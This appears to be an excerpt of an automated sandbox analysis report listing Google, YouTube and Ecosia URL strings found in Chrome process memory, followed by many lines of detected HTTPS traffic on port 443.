Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000002.2323747855.000061440008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000003.00000002.2323881750.00006144000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000003.00000002.2336609043.00006144007BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsA
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000003.00000002.2333006764.000061440044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246308240.00006144014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244725569.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246172696.0000614401358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: chrome.exe, 00000003.00000002.2339101355.0000614400A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chromecache_84.5.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333303758.0000614400490000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000002.2340229999.0000614400BBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp, chromecache_80.5.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000003.00000003.2221015209.0000614400C74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000002.2340137493.0000614400B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000003.00000002.2336822074.000061440080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/CharKk3
Source: chrome.exe, 00000003.00000003.2226331290.0000614400C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2342927742.00006144010EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000003.00000002.2340877127.0000614400CB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promosDa
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337807305.0000614400964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341121172.0000614400D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000003.00000002.2336658013.00006144007CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2337807305.0000614400964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2341121172.0000614400D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2326099586.00006144001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000003.00000002.2333108306.000061440045C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: I43xo3KKfS.exe, 00000000.00000003.2314227766.0000000000962000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2334248150.00006144005C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2333800343.00006144004FC000.00000004.00000800.00020000.00000000.sdmp, FBAFIIJK.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000002.2334248150.00006144005C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000003.00000002.2333006764.000061440044C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246308240.00006144014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244725569.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246172696.0000614401358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.2226782286.000061440120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000003.00000002.2339101355.0000614400A20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000003.00000002.2323497425.000061440001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_84.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_84.5.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.2246537808.0000614401438000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000003.00000002.2326498429.000061440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000003.00000003.2240249158.0000614400328000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000003.00000002.2333587069.00006144004C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chromecache_80.5.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_80.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_80.5.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000003.00000002.2343714566.0000614401390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2246139226.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2245047149.00006144013D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246308240.00006144014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244725569.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246172696.0000614401358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2246062004.0000614401388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2343714566.0000614401390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000003.00000003.2244575752.000061440133C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000003.00000002.2331262347.00006144002C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
